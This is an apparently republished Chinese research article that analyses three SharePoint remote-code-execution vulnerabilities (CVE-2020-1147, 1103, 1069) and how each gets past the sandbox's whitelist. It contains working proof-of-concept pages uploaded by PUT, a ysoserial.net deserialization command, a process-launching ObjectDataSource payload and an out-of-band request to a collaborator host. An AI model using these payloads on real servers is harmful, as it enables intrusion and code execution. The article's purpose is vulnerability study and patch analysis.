SharePoint Rce 系列分析(三)

作者:青藤實驗室
原文鏈接:https://mp.weixin.qq.com/s/Z2hDtlsu0zgKY8YWhDBS7g

SharePoint Rce 系列分析(一) 裏我通過 CVE-2020-0974 展示了利用參數使用不當 bypass 沙箱; 在 SharePoint Rce 系列分析(二) 裏通過 CVE-2020-1444 展示了利用服務端處理邏輯不當(TOCTOU) bypass 沙箱;

本文是這個系列的完結篇,將通過三個漏洞,展示如何從 SP 白名單入手挖掘突破口。

CVE-2020-1147:利用白名單類,通過 Asp.Net 處理 DataSet 反序列化不當實現 rce; CVE-2020-1103:利用讀白名單類屬性,通過白名單上的類公有屬性與繼承關係讀子屬性(read gadgets),直到能讀 machineKey; CVE-2020-1069:利用寫白名單類屬性,通過白名單上的類公有屬性與繼承關係寫子屬性(write gadgets),直到能寫用戶上傳網頁文件的 VirtualPath(SP 通過 VirtualPath 判斷網頁文件來源);

我在之前的系列分析裏介紹過 SP 的沙箱模型,把用戶上傳的網頁文件稱作被“閹割了一部分功能”。微軟出於安全考慮,只允許用戶上傳的網頁文件在實現 Server Control 時引用一部分類,這部分類定義在 web.config 中,簡稱 SP 白名單。至於 Server Control 是什麼,按照我的理解,就是 Asp.Net 提供給開發者的一種前後端數據交互的方式,比如我可以在網頁文件中引用服務端定義的類、方法,讀寫服務端的(公有)類(子)屬性。

調試環境

Server2016
SP2016
dnSpy

背景知識

http out-of-band

在 SP 中,當無法直接從 http 響應中獲取我想要的信息時,可以考慮 http out-of-band,具體通過 XmlUrlDataSourceSoapDataSource 實現,比如下面是 XmlUrlDataSource 的用法:

PUT /test.aspx HTTP/1.1

<WebPartPages:DataFormWebPart runat="server" Title="REST" DisplayName="REST" ID="rest">
        <DataSources>
            <SharePoint:XmlUrlDataSource runat="server" AuthType="None" HttpMethod="GET" SelectCommand="http://zrun0o589ksxz108ewi4134nqew7kw.burpcollaborator.net">
                <SelectParameters>
                    <WebPartPages:DataFormParameter Name="test1" ParameterKey="test2" PropertyName="ParameterValues" DefaultValue="xiaoc"/>      
                </SelectParameters>
            </SharePoint:XmlUrlDataSource>
       </DataSources>
</WebPartPages:DataFormWebPart>

dnslog 可以看到請求記錄 -w629

read/write gadgets

SP 白名單定義在 web.config 的 SafeControl 項中 -w1240 通過類繼承關係,可以像鏈一樣迭代引用子屬性來進行讀(read gadgets)寫(write gadgets)操作,比如:

// A is a white-list class
public class A {
    public B b;
}

public class B {
    public C c;
}

public class C {
    public D d;
}

我可以在上傳網頁文件中引用 A.b.c.d 進行讀寫操作。

讀寫是不同權限的操作,對目標屬性的要求也不同,除了 gadgets 的起點需要在白名單中外。對於讀操作,只要滿足屬性是 public 且符合繼承關係就可讀;對於寫操作,除了上述要求,還需要滿足 write gadgets 的終點(比如 A.b.c.d 中的 d)不能被 DesignerSerializationVisibility.Hidden 屬性修飾。

gadgets 這種方法突破沙箱,是這個議題引用的漏洞列表中反覆使用的一種方法,除了 .net,議題的後半部分展示了通過 gadgets 突破各種 java 表達式語言的沙箱。

CVE-2020-1147

CVE-2020-1147 的原理很直接,在修復該漏洞之前,如果用 DataSetDataTable 讀攻擊者完全可控的數據,攻擊者可以構造 xml payload 通過反序列化(不是 VIEWSTATE 反序列化)實現 rce。關於這部分的原理、payload 生成步驟可以通過文末參考中的 mr_me 的博客瞭解詳情。

再看這個漏洞,通過白名單類 ContactLinksSuggestionsMicroViewPopulateDataSetFromCache 方法,找到了 DataSet 反序列化的用法,這裏直接用作者的原圖 -w621 之後就是根據調用路徑去構造滿足要求的 payload。

利用漏洞需要發送兩次請求。
1)上傳 .aspx

PUT /1147.aspx HTTP/1.1
Content-Type: text/xml; charset=utf-8

<%@ Page Language="C#" %>
<%@ Register tagprefix="mst" namespace="Microsoft.SharePoint.Portal.WebControls" assembly="Microsoft.SharePoint.Portal, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<form id="form1" runat="server">
<mst:ContactLinksSuggestionsMicroView id="CLSMW1" runat="server" />
<asp:TextBox ID="__SUGGESTIONSCACHE__" runat="server"></asp:TextBox>
<asp:Button ID="Button1" runat="server" Text="Submit" />
</form>

在瀏覽器上顯示是一個簡單的輸入框,第二個請求是在這個輸入框裏提交 payload -w436

2)向 1147.aspx 提交包含 payload 的 postback 請求 構造 payload 也可以分爲兩步,首先借助 ysoserial.net 生成反序列化 payload

ysoserial.exe -f BinaryFormatter -g DataSet -o base64 -c "calc" -t

構造包含反序列化 payload 的 xml -w1432 然後把整個 xml 在 1147.aspx 的輸入框中提交就可以看到 calc 進程啓動。

CVE-2020-1147 的主要問題不是 ContactLinksSuggestionsMicroView 作爲白名單類不合適,而是用 DataSet 反序列化時可以通過輸入控制反序列化類型,這在反序列化(經常需要處理不可信數據)的使用場景中肯定是有問題的。因此在安裝的了 CVE-2020-1147 的補丁後,DataSet 或者 DataTable 能夠反序列化的類型被限制在了一個白名單中,詳情可通過參考中的微軟官方說明了解。

CVE-2020-1103

CVE-2020-1103 利用 read gadgets 實現 rce。在 SP 中,要說從任意讀到 rce,很直觀地會想到 MachineValidationKey。作者找到的能讀 MachineValidationKey 的 read gadgets 是:

Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]

但是,默認按照安裝嚮導安裝的 SP 環境中這個值爲空 -w772 參考 Nauplius/FarmLaunch 可以知道只有在安裝 farm 之前將 unattend.txt 放到

C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\CONFIG\

目錄下再安裝 farm,SPFarm.InitializationSettings 纔不爲空。

所以我之後用會另一個屬性來證明漏洞存在 -w302 對應的 read gadgets 就變成了

Web.Site.WebApplication.Farm.Id

首先執行表達式的地方是 DataBinder.Eval -w1392 參考 DataBinder.Eval Method 可以知道 text 可以寫成 A.B.C[N].D 這樣的表達式,用 text 表達式的執行結果可以獲取 control2 對象的任何公有(級聯)屬性。

通過官方文檔給出的用法示例 -w755 以及解釋 -w794 可以知道用 ControlParameter 可以獲取提前綁定好值的通知屬性,再通俗點解釋,就是(用類似 A.B.C[N].D 這樣的表達式)可以獲取任何 System.Web.UI.Control 子類對象的公有屬性。

再看 ControlParameter#Evaluate 的參數流,很容易發現 DataBinder.Eval 的兩個參數完全可控

string controlID = this.ControlID;
string text = this.PropertyName;
Control control2 = DataBoundControlHelper.FindControl(control, controlID);
object obj = DataBinder.Eval(control2, text);

分別對應 -w753-w180

(獲取屬性的)表達式的構造只需要滿足兩個條件即可:
1. 作爲執行上下文的類必須繼承自 System.Web.UI.Control
2. 獲取的目標屬性必須是 public,當然可以繼承自父類

這裏用逆推的方式解釋比較好理解,首先SPFarm.InitializationSettings 裏存儲了 MachineValidationKey,我這裏用的是 SPFarm.Id,接下來就是根據繼承關係逆推調用鏈的過程,直到找到 System.Web.UI.Control 的子類:

// Microsoft.SharePoint.Administration.SPFarm
// SPPersistedObject -> SPPersistedUpgradableObject -> SPFarm
public Guid Id { get; set; }

// Microsoft.SharePoint.Administration.SPPersistedObject
// SPPersistedObject -> SPPersistedUpgradableObject -> SPWebApplication
public Microsoft.SharePoint.Administration.SPFarm Farm { get; }

// Microsoft.SharePoint.SPSite
public Microsoft.SharePoint.Administration.SPWebApplication WebApplication { get; }

// Microsoft.SharePoint.SPWeb
public Microsoft.SharePoint.SPSite Site { get; }

// Microsoft.SharePoint.WebControls.TemplateBasedControl
// Control -> SPControl -> TemplateBasedControl
public virtual Microsoft.SharePoint.SPWeb Web { get; }

下面是獲取 Farm.Id 的 dnslog 截圖,省略了 PUT 之後的 GET 請求 -w1626

CVE-2020-1069

回顧一下 filter 機制中如何區分受信與非受信 .aspx -w1107

可以看出 System.Web.UI.PageParserFilter.VirtualPath 在這裏扮演了一個安全標誌位的角色。

舉個例子,比如 layouts 目錄下系統自帶的 .aspx 通過 /_layouts/15/xxx.aspx 這樣的 path 去訪問,而我們上傳的 .aspx 比如 PUT /1069.aspx HTTP/1.1 則是直接通過 /1069.aspx 這樣的 path 訪問,服務端很容易區分,也就方便決定是否啓用沙箱。可以設想,假如我把上傳的 .aspx 的路徑改成了 /_layouts/15/xxx.aspx,服務端在判斷是否啓用沙箱時就會把我當成文件系統上的 .aspx 而不是數據庫中,這樣我上傳 .aspx 就不會有任何限制。

通過 VirtualPath 的定義可以發現它只有 getter 沒有 setter

-w363 當請求上傳的 .aspx 時,通過調試可以發現它的值在 Create Method 中完成了賦值 -w942 此時的部分調用堆棧 -w930 根據作者的介紹 VirtualPath 的值由 AppRelativeVirtualPath 決定,原因沒有解釋,我從 call stack 中直接唯一一個和 TemplateControl 有關的調用節點: -w913 這個過程基本上是直接的參數傳遞,所以很明顯。

最後一個問題是如何改變 AppRelativeVirtualPath 的值。

先看看出問題的類 WikiContentWebpart 的整體結構: -w560

從繼承關係可以看出一直到 object 都沒有看到 TemplateControl,如果能通過 WikiContentWebpart 改變 AppRelativeVirtualPath,要麼是繼承,要麼是 aop。從這裏來看顯然不是繼承。順着繼承關係往上找,最終在 System.Web.UI.Control 中找到了 Page 屬性: -w641 而 Page 是繼承自 TemplateControl -w814 另外,Microsoft.SharePoint.WebPartPages.WikiContentWebpart先這個類在白名單中: -w1044

到這裏總結一下上面的分析: 通過控制 WikiContentWebpart(白名單) -> 控制 Page 屬性(WikiContentWebpart 繼承自 control) -> 控制 Page 的 AppRelativeVirtualPath 屬性(Page 繼承自 TemplateControl) 最終獲得控制 VirtualPath 的效果

利用仍然是兩步,首先上傳 payload

PUT /1069.aspx HTTP/1.1

<%@ Page Language="C#" %>
<head runat="server" />
<form id="f1" runat="server">
<asp:menu id="NavMenu1" runat="server">
<StaticItemTemplate>
<WebPartPages:WikiContentWebpart id="WikiWP1" runat="server" Page-AppRelativeVirtualPath='<%# Eval("ToolTip") %>'>
<content>
<asp:ObjectDataSource ID="DS1" runat="server" SelectMethod="Start" TypeName="system.diagnostics.Process" >
<SelectParameters>
<asp:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="calc"/>
</SelectParameters>
</asp:ObjectDataSource>
<asp:ListBox ID="ListBox1" runat="server" DataSourceID= "DS1"/>
</content>
</WebPartPages:WikiContentWebpart>
</StaticItemTemplate>
<items>
<asp:menuitem text="MenuItem1" ToolTip="/_layouts/15/settings.aspx"/>
</items>
</asp:menu>
</form>

trigger rce -w436

參考

https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf

https://docs.microsoft.com/en-us/dotnet/api/system.componentmodel.designerserializationvisibilityattribute?view=net-5.0

https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/dataset-datatable-dataview/security-guidance

https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html


Paper 本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1456/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章